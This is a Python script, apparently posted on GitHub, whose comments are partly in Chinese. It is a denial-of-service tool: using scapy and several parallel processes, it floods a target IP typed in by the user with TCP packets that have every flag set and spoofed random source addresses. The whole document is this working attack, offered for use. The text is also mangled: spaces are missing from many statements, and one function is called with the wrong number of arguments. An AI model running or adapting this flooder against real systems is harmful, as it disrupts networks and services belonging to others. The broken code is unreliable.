#!/usr/bin/python# Zhoushukang# zhoushukang@zju.edu.cn# TCP标志位非法攻击 Flood Tool Pythonfrom multiprocessing import Process
from scapy.allimport*import os
import sys
import random
defrandomIP():
ip =".".join(map(str,(random.randint(0,255)for _ inrange(4))))return ip
defrandInt():
x = random.randint(1000,9000)return x
defTCP_signal_Flood(dstIP, counter):
total =0print("Packets are sending ...")for x inrange(0, counter):# 创建一个IP数据包
ip_packet = IP(src=randomIP(), dst=dstIP)# 创建一个TCP数据包,设置标志位
tcp_packet = TCP(flags="UFAPRS")# 合并IP数据包和TCP数据包
tcp_packet = ip_packet / tcp_packet
# 发送TCPBAIO数据包
send(tcp_packet, verbose=0)
total +=1
sys.stdout.write("\nTotal packets sent: %i\n"% total)definfo():
os.system("clear")print("#############################")print("# github.com/Zhoushukang #")print("#############################")print("# Welcome to TCP标志位非法攻击 Tool #")print("#############################")
dstIP =input("\nTarget IP : ")# dstPort = input("Target Port : ")return dstIP
defattack(dstIP, counter):
port =1whileTrue:
TCP_signal_Flood(dstIP, port,int(counter))
port = port +1if port ==65534:
port =1if __name__ =='__main__':
num =input("并行数:")
counter =input("你需要发送多少包 : ")list=[]
dstIP = info()for i inrange(int(num)):
p = Process(target=attack, args=(dstIP, counter))list.append(p)for i inlist:
i.start()for i inlist:
i.join()